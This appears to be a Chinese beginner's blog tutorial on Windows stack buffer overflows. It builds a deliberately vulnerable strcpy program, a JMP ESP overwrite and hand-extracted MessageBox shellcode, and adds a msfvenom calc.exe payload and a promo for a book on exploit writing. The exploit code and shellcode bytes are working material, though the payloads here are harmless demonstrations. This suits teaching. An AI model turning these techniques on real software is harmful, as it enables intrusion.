网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!

零基础带你走进缓冲区溢出,编写shellcode

写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好。#

注:如果有转载请注明出处!创作不易、谢谢合作。#

0、环境搭建:#

本次实验所用到的工具有:

x32dbg:一个基于qt开发的、开源调试器。

ghidra:美国NSA国家安全局用的反汇编静态分析工具。如果你对IDA熟悉也可以用IDA。(链接在国内无法访问,怎么访问你懂的。)

visual C++ 6.0:一个微软的编译器。用其他的C++编译器只要取消编译优化即可。

1、一个有漏洞的小程序:#

在C语言里面的string标准库中,有这么一个著名的strcpy函数,这个strcpy函数的作用就是将字符串数组拷贝到指定的位置。

但是,再拷贝之前并没有对字符串的长度进行检测!!

如果这个字符串过长的话就会覆盖相邻的内存。造成缓冲区栈溢出!

我们的这个漏洞小程序如下所示:

#include "stdio.h"
#include "string.h"
char payload[] = "aaaaaaaa";
int main()
{
 char buffer[8];
 strcpy(buffer, payload);
 printf("%s",buffer);
 getchar();
 return 0;
}

功能很简单,就是将payload中的字符串拷贝进buffer数组中,并打印出来。

注意此时buffer的大小为8.

运行结果如下。

程序完美运行,但是这个程序真的没问题吗?

 我们接着往下看:

2、字符串长了!#

代码如下所示:

#include "stdio.h"
#include "string.h"
char payload[] = "aaaaaaaaEBPX";
int main()
{
 char buffer[8];
 strcpy(buffer, payload);
 printf("%s",buffer);
 getchar();
 return 0;
}

在这里我们加长了payload的长度,大家可以看到,程序还是完美的运行了,。

因为笔者的电脑是Win10系统,因此系统不会给你进行报错,而是智能的进行了异常处理。所以我们接下来进入调试环节!

首先我们用ghidra打开我们刚才写好的程序。

找到我们刚才定义函数在传递参数的时候如下:

 

不懂汇编没事。你只要看到push 一堆东西,+call 一个东西,那就是在调用函数!

看到了具体的调用位置,我们打开x32dbg 然后定位到该地址进行分析。

 

这里我们跳到call的位置,然后用F9执行到这里。

注意此时箭头所指的俩个位置

上面的所指的是父函数的EBP地址。

下面所指的就是函数要返回的地址。

这时我们让程序继续执行。

当我们单步执行过之后,我们会发现,这个程序因为缓冲区被冲破,所以父函数EBP被覆盖了,也就是造成了缓冲区溢出。

那么我们需要思考,是否可以把字符串加长,然后把返回地址给覆盖了呢?答案当然是可以的。

这样的话,程序就会执行我们的代码了!

但是如何把我们想执行的代码递给程序执行呢?

三、JMP_ESP方法编写shellcode#

思路:我们需要寻找电脑中可利用的动态链接库中可以用的指令,这样的话,我们就可以执行我们想要的指令了。

但是这种指令不一定适合我们,如果没有对应的函数怎么办

这时候有个非常出名的方法,叫JMP_ESP,他会执行栈中的代码,也就是说我们只要把shellcode放在字符串内就行。

首先我们需要在电脑中寻找JMP_ESP函数!

代码如下:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main()
{
        BYTE *ptr;
        int position;
        HINSTANCE handle;
        BOOL done_flag = FALSE;
        handle = LoadLibrary("user32.dll");
        if(!handle)
        {
                printf("load dll error!");
                exit(0);
        }
        ptr = (BYTE*)handle;

        for(position = 0; !done_flag; position++)
        {
                try
                {
                        if(ptr[position]==0xFF && ptr[position+1]==0xE4)
                        {
                                int address = (int)ptr + position;
                                printf("OPCODE found at 0x%x\n", address);
                        }
                }
                catch(...)
                {
                        int address = (int)ptr + position;
                        printf("END OF 0x%x\n", address);
                        done_flag = true;
                }
        }
  getchar();
        return 0;
}

运行结果如上,我们随便挑选一个地址即可使用。

 因为我们需要可视化的效果,所以我们挑选一个弹出一个对话框的方法来使我们可视化。

弹窗地址寻找的代码如下:

#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main(){
    HINSTANCE LibHandle;
    MYPROC ProcAdd;
    LibHandle = LoadLibrary("user32");
    printf("user32 = 0x%x\n",LibHandle);
    ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
    printf("MessageBoxA = 0x%x\n",ProcAdd);
    getchar();
    return 0;
}

运行结果如下:

接下来我们要寻找能使程序正常退出的函数,代码如下:

#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main(){
    HINSTANCE LibHandle;
    MYPROC ProcAdd;
    LibHandle = LoadLibrary("kernel32");
    printf("kernel32 = 0x%x\n",LibHandle);
    ProcAdd=(MYPROC)GetProcAddress(LibHandle,"ExitProcess");
    printf("ExitProcess = 0x%x\n",ProcAdd);
    getchar();
    return 0;
}

运行结果如下:

四、使用x64dbg提取shellcode#

笔者在这里挑选三个地址为:

jmp esp: 0x74a99be9 //JMP ESP 使EIP跳转到shellcode执行
msgbox: 0x74991f70 //shellcode执行弹出对话框
exitprocess:0x75cd4b80 //使程序正常退出

在这里我是用内联汇编的方法来编写shellcode

代码如下:

#include "windows.h"
int main(){
    LoadLibrary("user32.dll");     //因为调用了user32中的函数,所以需要加载user32,之所以选择user32加载是因为几乎所有win32应用都会加载这个库。
    _asm{             //内联汇编
        sub esp,0x50    //为了使 shellcode 具有较强的通用性,我们通常会在 shellcode 一开始就大范围抬高栈顶,把 shellcode“藏”在栈内,从而达到保护自身安全的目的
        xor ebx,ebx    //将ebx清0
        push ebx        //ebx入栈
        push 0x2020206f
        push 0x6c6c6568   //push "hello" 字符串的ascii码当作标题  小端书写  push的时候不够的话用20填
        mov eax,esp    //将hello标题赋给eax
        push ebx        //ebx压栈   将俩个字符串断开
        push 0x2020206f
        push 0x6c6c6568   //push "hello" 字符串当作内容
        mov ecx,esp    //将内容赋给ecx

        push ebx    //messagebox 的第4个参数
        push eax    //messagebox 的第3个参数
        push ecx  //messagebox的第2个参数
        push ebx  //messagebox的第1个参数

        mov eax,0x74991f70 //msg
        call eax    //调用msg

        push ebx    //向栈内压入0
        mov eax,0x75cd4b80 //将exit函数地址赋给eax
        call eax//调用exit函数
    }
    return 0;
}

然后用x64dbg打开后结果如下:

 提取后如下:

0040103C | 83EC 50                  | sub esp,50                              |
0040103F | 33DB                     | xor ebx,ebx                             |
00401041 | 53                       | push ebx                                |
00401042 | 68 6F202020              | push 2020206F                           |
00401047 | 68 68656C6C              | push 6C6C6568                           |
0040104C | 8BC4                     | mov eax,esp                             |
0040104E | 53                       | push ebx                                |
0040104F | 68 6F202020              | push 2020206F                           |
00401054 | 68 68656C6C              | push 6C6C6568                           |
00401059 | 8BCC                     | mov ecx,esp                             | ecx:EntryPoint
0040105B | 53                       | push ebx                                |
0040105C | 50                       | push eax                                |
0040105D | 51                       | push ecx                                | ecx:EntryPoint
0040105E | 53                       | push ebx                                |
0040105F | B8 701F9974              | mov eax,74991F70                        |
00401064 | FFD0                     | call eax                                |
00401066 | 53                       | push ebx                                |
00401067 | B8 804BCD75              | mov eax,<kernel32.ExitProcess>          |
0040106C | FFD0                     | call eax                                |

我们去掉乱八七糟的东西后,进行整理如下:

\x33\xDB
\x53
\x68\x6F\x20\x20\x20
\x68\x68\x65\x6C\x6C
\x8B\xC4
\x53
\x68\x6F\x20\x20\x20
\x68\x68\x65\x6C\x6C
\x8B\xCC
\x53
\x50
\x51
\x53
\xB8\x70\x1F\x99\x74
\xFF\xD0
\x53
\xB8\x80\x4B\xCD\x75
\xFF\xD0

然后我们加上引号

"\xe9\xe5\xa9\x74"
"\x33\xDB"
"\x53"
"\x68\x6F\x20\x20\x20"
"\x68\x68\x65\x6C\x6C"
"\x8B\xC4"
"\x53"
"\x68\x6F\x20\x20\x20"
"\x68\x68\x65\x6C\x6C"
"\x8B\xCC"
"\x53"
"\x50"
"\x51"
"\x53"
"\xB8\x70\x1F\x99\x74"
"\xFF\xD0"
"\x53"
"\xB8\x80\x4B\xCD\x75"
"\xFF\xD0"

OK!大功告成!

五、程序运行结果!#

完整程序代码如下:

#include<stdio.h
#include<windows.h>
char payload[]="aaaaaaaaebxx\xe9\xe5\xa9\x74\x33\xDB\x53\x68\x6F\x20\x20\x20\x68\x68\x65\x6C\x6C\x8B\xC4\x53\x68\x6F\x20\x20\x20\x68\x68\x65\x6C\x6C\x8B\xCC\x53\x50\x51\x53\xB8\x70\x1F\x99\x74\xFF\xD0\x53\xB8\x80\x4B\xCD\x75\xFF\xD0";
int main()
{
 LoadLibrary("user32.dll");
 char buffer[8];
 strcpy(buffer,payload);
 printf("%s",buffer);
 getchar();
 return 0;
}

执行后如下所示:

六、如何0基础几分钟学会编写shellcode?#

使用msf即可。把这个代码记着就会了(笑)。

msfvenom -p windows/exec cmd=calc.exe -f c

体验下~:

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main()
{    
    _asm{
        lea eax,buf
            push eax
            ret
    }
    return 0;
}

执行后如上所示。

本书定位于初学缓冲区溢出利用的读者;并照顾想学习缓冲区溢出技术的朋友。<br>本书的目的是用幽默的语言通俗的解释,对Windows缓冲区溢出编程的思路思维进行详细分析;并用大量实例对溢出的实际利用进行一次又一次详尽的讲解。<br>本书没有枯燥的、大段汇编代码的解释;没有复杂的、Windows系统结构的定义,阅读起来不会有混混欲睡的乏味感!<br>书里面,有的是活波生动的语言;有的是的美好纯真的校园生活;有的是可遇不可求的经验;有的是直截了当、图文并茂的手把手操作;有的是引导读者感受程序设计的艺术,并在缓冲区溢出的美妙世界中遨游;有的提示建议是能引起读者浓厚的兴趣,能够自觉下去再找相关的资料完善自己。<br>知识就像一个圆;圆的面积是你所知道的东西;圆的边长是你不知道的东西。圆越大,那么边就越长。所以当你知道得越多,那么你不清楚的就更多!<br>所以,我们都要自觉的学习,不断的勤奋学习,这样才能不落伍,才能与当今纷杂的社会竞争!<br>缓冲区溢出安全论坛上最常见的问题,包括堆栈缓冲区的利用思想,ShellCode的初步编写、变形、高级利用,以及堆溢出的利用,漏洞的亲自分析等。当然,每个部分都有大量的实例,让大家实际操作,学以致用。<br>后一章都以前一章为基础,逐渐深入并展开。在学习前面的内容时,如果有些地方不了解,可以在后面的章节中找到答案;后面不清晰的地方,也可以翻看前面的知识,以进一步巩固自己!<br>如果读者能在白忙之中抽出5分钟时间来翻看这本书,那么我希望能吸引你再用几个小时的时间来读完这本书。然后用更多的时间,去实际操作书中的每一个例子,进一步的学习,进一步的寻找答案。<br>“课后解惑”部分,是根据作者学习中遇到的问题论坛上较常见的提问整理出来的经验之谈。有些可能是翻遍资料都找不到答案的注意事项。<br>最后,希望阅读这本书没有浪费你宝贵的时间!<br>
目录 4 前言 6 作者简介 6 主要角色简介 6 阅读指南 6 第一章、Windows下堆栈溢出入门 8 1.1 梦,已经展开 8 1.2 啤酒杯子――缓冲区溢出原理 8 1.3 神秘的Windows系统 10 1.4 ShellCode编写简介 17 1.5 窥豹一斑――本地缓冲区溢出简单利用 21 1.6 小结——摘自小强的日记 28 1.7 首次实战――FoxMail溢出漏洞编写 29 1.8 牛刀小试――Printer溢出漏洞编写 41 1.9 JMP /CALL EBX——另一种溢出利用方式 42 1.10 拾阶而上——IDA/IDQ溢出漏洞编写 55 课后解惑 58 第二章、Windows下ShellCode编写初步 60 2.1 ShellCode是什么? 60 2.2 简单的例子——编写控制台窗口的ShellCode 63 2.3 ShellCode通用性的初步分析 78 2.4 弹出Windows对话框ShellCode编写 82 2.5 添加用户ShellCode编写 88 课后解惑 98 第三章、后门的编写ShellCode的提取 100 3.1 预备知识 101 3.2 后门总体思路 121 3.3 Telnet后门的高级语言实现 125 3.4 生成ShellCode 136 3.5 进一步的探讨 156 3.6 反连后门ShellCode编写 160 课后解惑 166 第四章 Windows下堆溢出利用编程 168 4.1 堆溢出初探 168 4.2 RtlAllcoateHeap的失误 170 4.3 实例——Message堆溢出漏洞的利用 191 4.4 RtlFreeHeap的失误 197 4.5 堆溢出的其他利用方式 204 4.6 实例——JPEG处理堆溢出漏洞的利用 208 课后解惑 215 第五章 ShellCode变形编码大法 217 5.1 为什么要编码 217 5.2 简单的编码——异或大法 221 5.3 简便的变形——微调法 231 5.4 直接替换法 233 5.5 字符拆分法 239 5.6 内存搜索法 247 5.7 搜索实例——Serv_U漏洞的利用 249 5.8 “计算与你同行”—— Computing & Society 257 课后解惑 258 第六章 ShellCode编写高级技术 260 6.1 通用ShellCode编写 260 6.2 ShellCode的高效提取技巧 285 6.3 ShellCode的高级功能 294 课后解惑 305 第七章、漏洞的发现、分析利用 308 7.1 CCProxy 漏洞的分析 308 7.2 黑盒法探测漏洞Python脚本 319 7.3 白盒法IDA分析漏洞 333
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值